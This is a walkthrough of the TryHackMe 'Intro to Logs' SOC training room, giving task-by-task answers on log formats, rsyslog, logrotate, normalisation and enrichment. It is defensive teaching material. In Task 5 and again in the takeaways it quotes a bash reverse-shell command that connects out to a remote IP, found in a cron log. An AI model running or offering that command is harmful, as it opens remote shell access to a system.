LAB WRITEUP 02 - INTRO TO LOGS (TRYHACKME)

Room	Intro to Logs
Platform	TryHackMe - `https://tryhackme.com/room/introtologs`
Path	SOC Level 1 - Log Analysis (first room of the module)
Difficulty	Easy
Time to complete	About 60 minutes
Tasks	7

Objective

Learn what logs are, what a log entry is made of, which types and formats exist, how logs are collected and centralised, and why parsing, normalisation and enrichment matter before analysis can begin.

Concepts covered

- Anatomy of a log entry
- Log types, log sources and log formats
- Log collection with `rsyslog`, log rotation with `logrotate`
- Log centralisation into a SIEM
- Parsing, normalisation and enrichment

Task 1 - Introduction

No answer required. Sets the context: every device on a network produces logs, and logs are the historical record a SOC investigates with.

Task 2 - Logs as historical evidence

The task drops the analyst into a scenario: you arrive at a workstation, find a hand-written note and have to start an investigation from it.

Question	Answer	How
Name of the colleague who left a note on the Desktop	Perry	Reading the note file placed on the Desktop of the provided machine.
Full path to the suggested log file for the initial investigation	`/var/log/gitlab/nginx/access.log`	The note names the GitLab web service's Nginx access log; the full path is given in the note and confirmed in the file system.

Why a web access log first: a GitLab server exposes the code repository, so its access log records every request made to it - the fastest way to see if an attacker was interacting with the service.

Task 3 - Log types

Question	Answer	How
Which log type is the file from Task 2?	Web server log	The file is Nginx's `access.log`, which records HTTP requests processed by a web server: client IP, timestamp, request line, status code and response size.

Log types seen in the room: event logs, system/syslog, server logs, change logs, availability logs, authorisation and access logs, resource logs, application logs, audit logs, security logs, network logs, database logs and web server logs. The important habit is to ask "which system produced this, and what does that system record?" before reading it.

Task 4 - Log formats

Question	Answer	How
Which log format does the Task 2 file use?	combined	The line pattern `IP - - [time] "request" status bytes "referer" "user-agent"` is the Nginx combined format, i.e. the Common Log Format plus referrer and user-agent. That extra data is genuinely useful: user-agent exposes tooling such as `curl`, `sqlmap` or `python-requests`.

Task 5 - Log sources and collection

This task configures `rsyslog` to capture SSH authentication events and looks at a cron configuration, then reads the collected output.

Question	Answer	How
Username repeatedly appearing in the sshd logs, indicating failed logins or brute forcing	stansimon	After adding `if $programname == 'sshd' then /var/log/sshd.log` to a config file under `/etc/rsyslog.d/`, restarting `rsyslog` and reading `/var/log/sshd.log`, the same account name repeats in a stream of `Failed password for invalid user` lines while other accounts appear once. A repeated single account from one source is the classic pattern of a password-spray or brute-force attempt.
IP address of SIEM-02, from `/etc/rsyslog.d/99-websrv-02-cron.conf`	10.10.10.101	The cron logging configuration forwards matching messages to a remote host; the `@@10.10.10.101:514` target in the rule identifies the central SIEM collector.
Command executed by root in `/var/log/websrv-02/rsyslog_cron.log`	`/bin/bash -c "/bin/bash -i >& /dev/tcp/34.253.159.159/9999 0>&1"`	A scheduled task is launching a reverse shell: an interactive bash shell is redirected out to remote host `34.253.159.159` on port `9999`. This is attacker persistence wrapped in what looks like a cron job.

Question	Answer	How
How many old compressed copies of the log are kept, per `/etc/logrotate.d/99-websrv-02_cron.conf`?	24	The `rotate 24` directive keeps 24 archived generations before the oldest is deleted - which together with an hourly rotation means roughly one day of searchable history.
Log rotation frequency in the same configuration	hourly	The rotation interval directive is set to `hourly` rather than the default daily, which is unusual and worth noting: it keeps each file small but shortens retention.

Investigation note: the two logrotate questions matter because retention decides how far back you can investigate. An hourly rotation with 24 copies gives an attacker roughly a day of history before evidence disappears.

Task 6 - Log delivery, parsing and the shape of a log line

Question	Answer	How
Error shown by `/var/log/websrv-02/rsyslog_cron.log` in the log viewer when selecting the different filters	no date field	The viewer's filters try to group events by day, but this file's lines contain no parseable timestamp, so no date can be extracted. It is a practical demonstration of why an unstructured line cannot be analysed the same way as a structured one.

What a good log line contains: timestamp, log level/severity, username or source, service or application, and the event description. A line missing the timestamp cannot be placed on a timeline, which makes correlation with other sources impossible.

Task 7 - Normalisation and enrichment

Question	Answer	How
Process of standardising parsed data into a more easily readable and query-able format	Normalisation	After parsing, every source's fields are mapped to one common schema (for example a Windows 4625 and a Linux `Failed password` both become `authentication_failure`) so they can be compared and searched together.
Process of consolidating normalised logs to enhance analysis of activity related to a specific IP address	Enrichment	The IP is joined with extra context - geolocation, reputation/threat-intel hits, asset criticality, owning user - so a bare address becomes a decision.

The pipeline in one line: collect -> centralise -> parse -> normalise -> enrich -> analyse.

Key takeaways

1. A log entry must answer what, when, where, who and with what result - a missing timestamp breaks the timeline.
2. The combined web-server format is the standard for HTTP access logs and the user-agent field is a strong indicator of attacker tooling.

3. `rsyslog` is the collection mechanism on Linux; rules live in `/etc/rsyslog.d/` and forwards logs to a central SIEM.
4. `logrotate` decides retention - `rotate 24` with `hourly` is a very short window.
5. The cron line `bash -i >& /dev/tcp/... 0>&1` is a reverse shell hidden in a scheduled task, and exactly the kind of finding a SOC must escalate.
6. Normalisation makes sources comparable; enrichment adds the context needed to judge them.